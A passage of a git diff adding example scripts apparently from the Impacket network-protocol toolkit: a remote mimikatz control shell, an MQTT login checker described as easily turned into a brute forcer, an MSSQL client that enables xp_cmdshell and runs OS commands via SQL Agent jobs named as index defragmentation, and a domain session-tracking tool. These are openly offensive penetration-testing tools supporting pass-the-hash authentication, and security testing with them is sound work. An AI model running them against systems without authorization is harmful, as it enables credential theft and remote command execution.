+    def __init__(self, username='', password='', domain='', hashes=None,
+                 aesKey=None, doKerberos=False, kdcHost=None, port=445):
+        self.__username = username
+        self.__password = password
+        self.__domain = domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aesKey = aesKey
+        self.__doKerberos = doKerberos
+        self.__kdcHost = kdcHost
+        self.__port = port
+
+        if hashes is not None:
+            self.__lmhash, self.__nthash = hashes.split(':')
+
+    def print_info(self, remoteName, remoteHost):
+        try:
+            dce = self.__authenticate(remoteName, remoteHost)
+        except Exception as e:
+            self.__log_and_exit(str(e))
+
+        try:
+            output = self.__fetch(dce)
+        except Exception as e:
+            self.__log_and_exit(str(e))
+
+        for key, value in output.items():
+            print('%s: %s' % (key, value))
+
+        dce.disconnect()
+
+    def __authenticate(self, remoteName, remoteHost):
+        dce = self.__get_transport(remoteName, remoteHost)
+
+        dce.connect()
+        dce.bind(dssp.MSRPC_UUID_DSSP)
+
+        return dce
+
+    def __get_transport(self, remoteName, remoteHost):
+        stringbinding = r'ncacn_np:%s[\pipe\lsarpc]' % remoteName
+        logging.debug('StringBinding %s' % stringbinding)
+        rpctransport = transport.DCERPCTransportFactory(stringbinding)
+        rpctransport.set_dport(self.__port)
+        rpctransport.setRemoteHost(remoteHost)
+
+        if hasattr(rpctransport, 'set_credentials'):
+            # This method exists only for selected protocol sequences.
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
+                                         self.__nthash, self.__aesKey)
+        rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
+
+        return rpctransport.get_dce_rpc()
+
+    def __fetch(self, dce):
+        output = {}
+        domain_info = dssp.hDsRolerGetPrimaryDomainInformation(dce, 1)
+
+        output['Machine Role'] = self.MACHINE_ROLES[domain_info['DomainInfo']['DomainInfoBasic']['MachineRole']]
+        output['NetBIOS Domain Name'] = domain_info['DomainInfo']['DomainInfoBasic']['DomainNameFlat']
+        output['Domain Name'] = domain_info['DomainInfo']['DomainInfoBasic']['DomainNameDns']
+        output['Forest Name'] = domain_info['DomainInfo']['DomainInfoBasic']['DomainForestName']
+        output['Domain GUID'] = bin_to_string(domain_info['DomainInfo']['DomainInfoBasic']['DomainGuid'])
+
+        return output
+
+    def __log_and_exit(self, error):
+        logging.critical('Error while enumerating host: %s' % error)
+        sys.exit(1)
+
+if __name__ == '__main__':
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help=True, description='Retrieve a host\'s role along with its primary domain details.')
+
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    group = parser.add_argument_group('connection')
+
+    group.add_argument('-dc-ip', action='store',metavar='ip address', help='IP Address of the domain controller. If '
+                       'ommited it use the domain part (FQDN) specified in the target parameter')
+    group.add_argument('-target-ip', action='store', metavar='ip address', help='IP Address of the target machine. If '
+                       'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS '
+                       'name and you cannot resolve it')
+    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
+                       help='Destination port to connect to SMB Server')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action='store', metavar='LMHASH:NTHASH', help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action='store_true', help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action='store_true', help='Use Kerberos authentication. Grabs credentials from ccache file '
+                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
+                       'ones specified in the command line')
+    group.add_argument('-aesKey', action='store', metavar='hex key', help='AES key to use for Kerberos Authentication '
+                                                                          '(128 or 256 bits)')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password, remoteName = parse_target(options.target)
+
+    if domain is None:
+        domain = ''
+
+    if options.target_ip is None:
+        options.target_ip = remoteName
+
+    if options.aesKey is not None:
+        options.k = True
+
+    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+        from getpass import getpass
+        password = getpass('Password:')
+
+    machine_role = MachineRole(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, int(options.port))
+    machine_role.print_info(remoteName, options.target_ip)
+    
\ No newline at end of file
diff --git a/examples/mimikatz.py b/examples/mimikatz.py
new file mode 100644
index 0000000..bf50848
--- /dev/null
+++ b/examples/mimikatz.py
@@ -0,0 +1,250 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Mini shell to control a remote mimikatz RPC server developed by @gentilkiwi
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# Reference for:
+#   SMB DCE/RPC
+#
+
+from __future__ import division
+from __future__ import print_function
+import argparse
+import cmd
+import logging
+import os
+import sys
+
+from impacket import version
+from impacket.dcerpc.v5 import epm, mimilib
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE
+from impacket.dcerpc.v5.transport import DCERPCTransportFactory
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+
+try:
+    from Cryptodome.Cipher import ARC4
+except Exception:
+    logging.critical("Warning: You don't have any crypto installed. You need pycryptodomex")
+    logging.critical("See https://pypi.org/project/pycryptodomex/")
+
+# If you wanna have readline like functionality in Windows, install pyreadline
+try:
+  import pyreadline as readline
+except ImportError:
+  import readline
+
+
+mimikatz_intro = r"""Type help for list of commands"""
+
+
+class MimikatzShell(cmd.Cmd):
+    def __init__(self, dce):
+        cmd.Cmd.__init__(self)
+        self.shell = None
+
+        self.prompt = 'mimikatz # '
+        self.tid = None
+        self.intro = mimikatz_intro
+        self.pwd = ''
+        self.share = None
+        self.loggedIn = True
+        self.last_output = None
+
+        self.dce = dce
+
+        dh = mimilib.MimiDiffeH()
+        blob = mimilib.PUBLICKEYBLOB()
+        blob['y'] = dh.genPublicKey()[::-1]
+        publicKey = mimilib.MIMI_PUBLICKEY()
+        publicKey['sessionType'] = mimilib.CALG_RC4
+        publicKey['cbPublicKey'] = 144
+        publicKey['pbPublicKey'] = blob.getData()
+        resp = mimilib.hMimiBind(self.dce, publicKey)
+        blob = mimilib.PUBLICKEYBLOB(b''.join(resp['serverPublicKey']['pbPublicKey']))
+
+        self.key = dh.getSharedSecret(blob['y'][::-1])[-16:][::-1]
+        self.pHandle = resp['phMimi']
+
+    def emptyline(self):
+        pass
+
+    def precmd(self,line):
+        # switch to unicode
+        #return line.encode('utf-8')
+        return line
+
+    def default(self, line):
+        if line.startswith('*'):
+            line = line[1:]
+        command = (line.strip('\n')+'\x00').encode('utf-16le')
+        command = ARC4.new(self.key).encrypt(command)
+        resp = mimilib.hMimiCommand(self.dce, self.pHandle, command)
+        cipherText = b''.join(resp['encResult'])
+        cipher = ARC4.new(self.key)
+        print(cipher.decrypt(cipherText).decode('utf-16le'))
+
+    def onecmd(self,s):
+        retVal = False
+        try:
+           retVal = cmd.Cmd.onecmd(self,s)
+        except Exception as e:
+           logging.debug("Exception:", exc_info=True)
+           logging.error(e)
+
+        return retVal
+
+    def do_exit(self,line):
+        if self.shell is not None:
+            self.shell.close()
+        return True
+
+    def do_shell(self, line):
+        output = os.popen(line).read()
+        print(output)
+        self.last_output = output
+
+    def do_help(self,line):
+        self.default('::')
+
+def main():
+    # Init the example's logger theme
+    logger.init()
+    print(version.BANNER)
+    parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.")
+
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+    parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '
+                                                       'cannot be found, it will use the ones specified in the command '
+                                                       'line')
+    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+
+    group = parser.add_argument_group('connection')
+
+    group.add_argument('-dc-ip', action='store', metavar="ip address",
+                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
+                            'the target parameter')
+    group.add_argument('-target-ip', action='store', metavar="ip address",
+                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
+                            'This is useful when target is the NetBIOS name and you cannot resolve it')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password, address = parse_target(options.target)
+
+    if options.target_ip is None:
+        options.target_ip = address
+
+    if domain is None:
+        domain = ''
+    
+    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    if options.aesKey is not None:
+        options.k = True
+
+    if options.hashes is not None:
+        lmhash, nthash = options.hashes.split(':')
+    else:
+        lmhash = ''
+        nthash = ''
+
+    bound = False
+ 
+    try:
+        if username != '':
+            try:
+                # Let's try to do everything through SMB. If we'e lucky it might get everything encrypted
+                rpctransport = DCERPCTransportFactory(r'ncacn_np:%s[\pipe\epmapper]'%address)
+                rpctransport.set_credentials(username, password, domain, lmhash, nthash, options.aesKey)
+                dce = rpctransport.get_dce_rpc()
+                if options.k:
+                    rpctransport.set_kerberos(True, options.dc_ip)
+                    dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+                dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+                dce.connect()
+                # Give me the endpoint please!
+                stringBinding = epm.hept_map(address, mimilib.MSRPC_UUID_MIMIKATZ, protocol = 'ncacn_np', dce=dce)
+
+                # Thanks, let's now use the same SMB Connection to bind to mimi
+                rpctransport2 = DCERPCTransportFactory(stringBinding)
+                rpctransport2.set_smb_connection(rpctransport.get_smb_connection())
+                dce = rpctransport2.get_dce_rpc()
+                if options.k:
+                    dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+                dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+                dce.connect()
+                dce.bind(mimilib.MSRPC_UUID_MIMIKATZ)
+                bound = True
+            except Exception as e:
+                if str(e).find('ept_s_not_registered') >=0:
+                    # Let's try ncacn_ip_tcp
+                    stringBinding = epm.hept_map(address, mimilib.MSRPC_UUID_MIMIKATZ, protocol = 'ncacn_ip_tcp')
+                else:
+                    raise
+
+        else:
+            stringBinding = epm.hept_map(address, mimilib.MSRPC_UUID_MIMIKATZ, protocol = 'ncacn_ip_tcp')
+
+        if bound is False:
+            rpctransport = DCERPCTransportFactory(stringBinding)
+            rpctransport.set_credentials(username, password, domain, lmhash, nthash, options.aesKey)
+            dce = rpctransport.get_dce_rpc()
+            if options.k is True:
+                rpctransport.set_kerberos(True, options.dc_ip)
+                dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+            rpctransport.set_credentials(username, password, domain, lmhash, nthash)
+            dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+            dce.connect()
+            dce.bind(mimilib.MSRPC_UUID_MIMIKATZ)
+
+        shell = MimikatzShell(dce)
+
+        if options.file is not None:
+            logging.info("Executing commands from %s" % options.file.name)
+            for line in options.file.readlines():
+                if line[0] != '#':
+                    print("# %s" % line, end=' ')
+                    shell.onecmd(line)
+                else:
+                    print(line, end=' ')
+        else:
+            shell.cmdloop()
+    except Exception as e:
+        logging.debug("Exception:", exc_info=True)
+        logging.error(str(e))
+
+if __name__ == "__main__":
+    main()
diff --git a/examples/mqtt_check.py b/examples/mqtt_check.py
new file mode 100644
index 0000000..e561a1f
--- /dev/null
+++ b/examples/mqtt_check.py
@@ -0,0 +1,89 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Simple MQTT example aimed at playing with different login options. Can be converted into a account/password
+#   brute forcer quite easily.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# Reference for:
+#   MQTT and Structure
+#
+
+from __future__ import print_function
+
+import argparse
+import logging
+import sys
+
+from impacket import version
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket.mqtt import CONNECT_ACK_ERROR_MSGS, MQTTConnection
+
+class MQTT_LOGIN:
+    def __init__(self, username, password, target, options):
+        self._options = options
+        self._username = username
+        self._password = password
+        self._target = target
+
+        if self._username == '':
+            self._username = None
+
+    def run(self):
+        mqtt = MQTTConnection(self._target, int(self._options.port), self._options.ssl)
+
+        if self._options.client_id is None:
+            clientId = ' '
+        else:
+            clientId = self._options.client_id
+
+        mqtt.connect(clientId, self._username, self._password)
+
+        logging.info(CONNECT_ACK_ERROR_MSGS[0])
+
+if __name__ == '__main__':
+    # Init the example's logger theme
+    logger.init()
+    print(version.BANNER)
+    parser = argparse.ArgumentParser(add_help=False,
+                                     description="MQTT login check")
+    parser.add_argument("--help", action="help", help='show this help message and exit')
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName>')
+    parser.add_argument('-client-id', action='store', help='Client ID used when authenticating (default random)')
+    parser.add_argument('-ssl', action='store_true', help='turn SSL on')
+    parser.add_argument('-port', action='store', default='1883', help='port to connect to (default 1883)')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    try:
+        options = parser.parse_args()
+    except Exception as e:
+        logging.error(str(e))
+        sys.exit(1)
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password, address = parse_target(options.target)
+
+    check_mqtt = MQTT_LOGIN(username, password, address, options)
+    try:
+        check_mqtt.run()
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        logging.error(e)
diff --git a/examples/mssqlclient.py b/examples/mssqlclient.py
new file mode 100644
index 0000000..2c828af
--- /dev/null
+++ b/examples/mssqlclient.py
@@ -0,0 +1,189 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-TDS] & [MC-SQLR] example.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# Reference for:
+#   Structure
+#
+
+from __future__ import division
+from __future__ import print_function
+import argparse
+import sys
+import os
+import logging
+
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket import version, tds
+
+if __name__ == '__main__':
+    import cmd
+
+    class SQLSHELL(cmd.Cmd):
+        def __init__(self, SQL):
+            cmd.Cmd.__init__(self)
+            self.sql = SQL
+            self.prompt = 'SQL> '
+            self.intro = '[!] Press help for extra shell commands'
+
+        def do_help(self, line):
+            print("""
+     lcd {path}                 - changes the current local directory to {path}
+     exit                       - terminates the server process (and this session)
+     enable_xp_cmdshell         - you know what it means
+     disable_xp_cmdshell        - you know what it means
+     xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
+     sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
+     ! {cmd}                    - executes a local shell cmd
+     """) 
+
+        def do_shell(self, s):
+            os.system(s)
+
+        def do_xp_cmdshell(self, s):
+            try:
+                self.sql.sql_query("exec master..xp_cmdshell '%s'" % s)
+                self.sql.printReplies()
+                self.sql.colMeta[0]['TypeData'] = 80*2
+                self.sql.printRows()
+            except:
+                pass
+
+        def do_sp_start_job(self, s):
+            try:
+                self.sql.sql_query("DECLARE @job NVARCHAR(100);"
+                                   "SET @job='IdxDefrag'+CONVERT(NVARCHAR(36),NEWID());"
+                                   "EXEC msdb..sp_add_job @job_name=@job,@description='INDEXDEFRAG',"
+                                   "@owner_login_name='sa',@delete_level=3;"
+                                   "EXEC msdb..sp_add_jobstep @job_name=@job,@step_id=1,@step_name='Defragmentation',"
+                                   "@subsystem='CMDEXEC',@command='%s',@on_success_action=1;"
+                                   "EXEC msdb..sp_add_jobserver @job_name=@job;"
+                                   "EXEC msdb..sp_start_job @job_name=@job;" % s)
+                self.sql.printReplies()
+                self.sql.printRows()
+            except:
+                pass
+
+        def do_lcd(self, s):
+            if s == '':
+                print(os.getcwd())
+            else:
+                os.chdir(s)
+    
+        def do_enable_xp_cmdshell(self, line):
+            try:
+                self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;"
+                                   "exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
+                self.sql.printReplies()
+                self.sql.printRows()
+            except:
+                pass
+
+        def do_disable_xp_cmdshell(self, line):
+            try:
+                self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure "
+                                   "'show advanced options', 0 ;RECONFIGURE;")
+                self.sql.printReplies()
+                self.sql.printRows()
+            except:
+                pass
+
+        def default(self, line):
+            try:
+                self.sql.sql_query(line)
+                self.sql.printReplies()
+                self.sql.printRows()
+            except:
+                pass
+         
+        def emptyline(self):
+            pass
+
+        def do_exit(self, line):
+            return True
+
+    # Init the example's logger theme
+    logger.init()
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help = True, description = "TDS client implementation (SSL supported).")
+
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+    parser.add_argument('-port', action='store', default='1433', help='target MSSQL port (default 1433)')
+    parser.add_argument('-db', action='store', help='MSSQL database instance (default None)')
+    parser.add_argument('-windows-auth', action='store_true', default=False, help='whether or not to use Windows '
+                                                                                  'Authentication (default False)')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the SQL shell')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
+                       'ones specified in the command line')
+    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+    group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
+                       'ommited it use the domain part (FQDN) specified in the target parameter')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+ 
+    options = parser.parse_args()
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password, address = parse_target(options.target)
+
+    if domain is None:
+        domain = ''
+
+    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    if options.aesKey is not None:
+        options.k = True
+
+    ms_sql = tds.MSSQL(address, int(options.port))
+    ms_sql.connect()
+    try:
+        if options.k is True:
+            res = ms_sql.kerberosLogin(options.db, username, password, domain, options.hashes, options.aesKey,
+                                       kdcHost=options.dc_ip)
+        else:
+            res = ms_sql.login(options.db, username, password, domain, options.hashes, options.windows_auth)
+        ms_sql.printReplies()
+    except Exception as e:
+        logging.debug("Exception:", exc_info=True)
+        logging.error(str(e))
+        res = False
+    if res is True:
+        shell = SQLSHELL(ms_sql)
+        if options.file is None:
+            shell.cmdloop()
+        else:
+            for line in options.file.readlines():
+                print("SQL> %s" % line, end=' ')
+                shell.onecmd(line)
+    ms_sql.disconnect()
diff --git a/examples/mssqlinstance.py b/examples/mssqlinstance.py
new file mode 100644
index 0000000..19f5ed7
--- /dev/null
+++ b/examples/mssqlinstance.py
@@ -0,0 +1,54 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MC-SQLR] example. Retrieves the instances names from the target host
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# Reference for:
+#   Structure
+#
+
+from __future__ import division
+from __future__ import print_function
+import argparse
+import sys
+import logging
+
+from impacket.examples import logger
+from impacket import version, tds
+
+if __name__ == '__main__':
+
+    print(version.BANNER)
+    # Init the example's logger theme
+    logger.init()
+
+    parser = argparse.ArgumentParser(add_help = True, description = "Asks the remote host for its running MSSQL Instances.")
+
+    parser.add_argument('host', action='store', help='target host')
+    parser.add_argument('-timeout', action='store', default='5', help='timeout to wait for an answer')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+ 
+    options = parser.parse_args()
+
+    ms_sql = tds.MSSQL(options.host)
+    instances = ms_sql.getInstances(int(options.timeout))
+    if len(instances) == 0:
+        "No MSSQL Instances found"
+    else:
+        for i, instance in enumerate(instances):
+            logging.info("Instance %d" % i)
+            for key in list(instance.keys()):
+               print(key + ":" + instance[key])
diff --git a/examples/netview.py b/examples/netview.py
new file mode 100644
index 0000000..62d0491
--- /dev/null
+++ b/examples/netview.py
@@ -0,0 +1,513 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   The idea of this script is to get a list of the sessions
+#   opened at the remote hosts and keep track of them.
+#   Coincidentally @mubix did something similar a few years
+#   ago so credit goes to him (and the script's name ;)).
+#   Check it out at https://github.com/mubix/netview
+#   The main difference with our approach is we keep
+#   looping over the hosts found and keep track of who logged
+#   in/out from remote servers. Plus, we keep the connections
+#   with the target systems and just send a few DCE-RPC packets.
+#
+#   One VERY IMPORTANT thing is:
+#
+#   YOU HAVE TO BE ABLE TO RESOLV THE DOMAIN MACHINES NETBIOS
+#   NAMES. That's usually solved by setting your DNS to the
+#   domain DNS (and the right search domain).
+#
+#   Some examples of usage are:
+#
+#   netview.py -target 192.168.1.10 beto
+#
+#   This will show the sessions on 192.168.1.10 and will authenticate as 'beto'
+#   (password will be prompted)
+#
+#   netview.py FREEFLY.NET/beto
+#
+#   This will download all machines from FREEFLY.NET, authenticated as 'beto'
+#   and will gather the session information for those machines that appear
+#   to be up. There is a background thread checking aliveness of the targets
+#   at all times.
+#
+#   netview.py -users /tmp/users -dc-ip freefly-dc.freefly.net -k FREEFLY.NET/beto
+#
+#   This will download all machines from FREEFLY.NET, authenticating using
+#   Kerberos (that's why -dc-ip parameter is needed), and filter
+#   the output based on the list of users specified in /tmp/users file.
+#
+# Author:
+#   beto (@agsolino)
+#
+
+from __future__ import division
+from __future__ import print_function
+import sys
+import argparse
+import logging
+import socket
+from threading import Thread, Event
+from queue import Queue
+from time import sleep
+
+from impacket.examples import logger
+from impacket.examples.utils import parse_credentials
+from impacket import version
+from impacket.smbconnection import SessionError
+from impacket.dcerpc.v5 import transport, wkst, srvs, samr
+from impacket.dcerpc.v5.ndr import NULL
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.nt_errors import STATUS_MORE_ENTRIES
+
+machinesAliveQueue = Queue()
+machinesDownQueue = Queue()
+
+myIP = None
+
+
+def checkMachines(machines, stopEvent, singlePass=False):
+    origLen = len(machines)
+    deadMachines = machines
+    done = False
+    while not done:
+        if stopEvent.is_set():
+             done = True
+             break
+        for machine in deadMachines:
+            s = socket.socket()
+            try:
+                s = socket.create_connection((machine, 445), 2)
+                global myIP
+                myIP = s.getsockname()[0]
+                s.close()
+                machinesAliveQueue.put(machine)
+            except Exception as e:
+                logging.debug('%s: not alive (%s)' % (machine, e))
+                pass
+            else:
+                logging.debug('%s: alive!' % machine)
+                deadMachines.remove(machine)
+            if stopEvent.is_set():
+                 done = True
+                 break
+
+        logging.debug('up: %d, down: %d, total: %d' % (origLen-len(deadMachines), len(deadMachines), origLen))
+        if singlePass is True:
+            done = True
+        if not done:
+            sleep(10)
+            # Do we have some new deadMachines to add?
+            while machinesDownQueue.empty() is False:
+                deadMachines.append(machinesDownQueue.get())
+
+class USERENUM:
+    def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, options=None):
+        self.__username = username
+        self.__password = password
+        self.__domain = domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aesKey = aesKey
+        self.__doKerberos = doKerberos
+        self.__kdcHost = options.dc_ip
+        self.__options = options
+        self.__machinesList = list()
+        self.__targets = dict()
+        self.__filterUsers = None
+        self.__targetsThreadEvent = None
+        self.__targetsThread = None
+        self.__maxConnections = int(options.max_connections)
+        if hashes is not None:
+            self.__lmhash, self.__nthash = hashes.split(':')
+
+    def getDomainMachines(self):
+        if self.__kdcHost is not None:
+            domainController = self.__kdcHost
+        elif self.__domain != '':
+            domainController = self.__domain
+        else:
+            raise Exception('A domain is needed!')
+
+        logging.info('Getting machine\'s list from %s' % domainController)
+        rpctransport = transport.SMBTransport(domainController, 445, r'\samr', self.__username, self.__password,
+                                              self.__domain, self.__lmhash, self.__nthash, self.__aesKey,
+                                              doKerberos=self.__doKerberos, kdcHost = self.__kdcHost)
+        dce = rpctransport.get_dce_rpc()
+        dce.connect()
+        dce.bind(samr.MSRPC_UUID_SAMR)
+        try:
+            resp = samr.hSamrConnect(dce)
+            serverHandle = resp['ServerHandle'] 
+
+            resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
+            domains = resp['Buffer']['Buffer']
+
+            logging.info("Looking up users in domain %s" % domains[0]['Name'])
+
+            resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] )
+
+            resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
+            domainHandle = resp['DomainHandle']
+
+            status = STATUS_MORE_ENTRIES
+            enumerationContext = 0
+            while status == STATUS_MORE_ENTRIES:
+                try:
+                    resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, samr.USER_WORKSTATION_TRUST_ACCOUNT,
+                                                            enumerationContext=enumerationContext)
+                except DCERPCException as e:
+                    if str(e).find('STATUS_MORE_ENTRIES') < 0:
+                        raise
+                    resp = e.get_packet()
+
+                for user in resp['Buffer']['Buffer']:
+                    self.__machinesList.append(user['Name'][:-1])
+                    logging.debug('Machine name - rid: %s - %d'% (user['Name'], user['RelativeId']))
+
+                enumerationContext = resp['EnumerationContext'] 
+                status = resp['ErrorCode']
+        except Exception as e:
+            raise e
+
+        dce.disconnect()
+
+    def getTargets(self):
+        logging.info('Importing targets')
+        if self.__options.target is None and self.__options.targets is None:
+            # We need to download the list of machines from the domain
+            self.getDomainMachines()
+        elif self.__options.targets is not None:
+            for line in self.__options.targets.readlines():
+                self.__machinesList.append(line.strip(' \r\n'))
+        else:
+            # Just a single machine
+            self.__machinesList.append(self.__options.target)
+        logging.info("Got %d machines" % len(self.__machinesList))
+          
+    def filterUsers(self):
+        if self.__options.user is not None:
+            self.__filterUsers = list()
+            self.__filterUsers.append(self.__options.user)
+        elif self.__options.users is not None:
+            # Grab users list from a file
+            self.__filterUsers = list()
+            for line in self.__options.users.readlines():
+                self.__filterUsers.append(line.strip(' \r\n'))
+        else:
+            self.__filterUsers = None
+
+    def run(self):
+        self.getTargets()
+        self.filterUsers()
+        #self.filterGroups()
+       
+        # Up to here we should have figured out the scope of our work
+        self.__targetsThreadEvent = Event()
+        if self.__options.noloop is False:
+            # Start a separate thread checking the targets that are up
+            self.__targetsThread = Thread(target=checkMachines, args=(self.__machinesList,self.__targetsThreadEvent))
+            self.__targetsThread.start()
+        else:
+            # Since it's gonna be a one shoot test, we need to wait till it finishes
+            checkMachines(self.__machinesList,self.__targetsThreadEvent, singlePass=True)
+
+        while True:
+            # Do we have more machines to add?
+            while machinesAliveQueue.empty() is False:
+                machine = machinesAliveQueue.get()
+                logging.debug('Adding %s to the up list' % machine)
+                self.__targets[machine] = {}
+                self.__targets[machine]['SRVS'] = None
+                self.__targets[machine]['WKST'] = None
+                self.__targets[machine]['Admin'] = True
+                self.__targets[machine]['Sessions'] = list()
+                self.__targets[machine]['LoggedIn'] = set()
+            
+            for target in list(self.__targets.keys()):
+                try:
+                    self.getSessions(target)
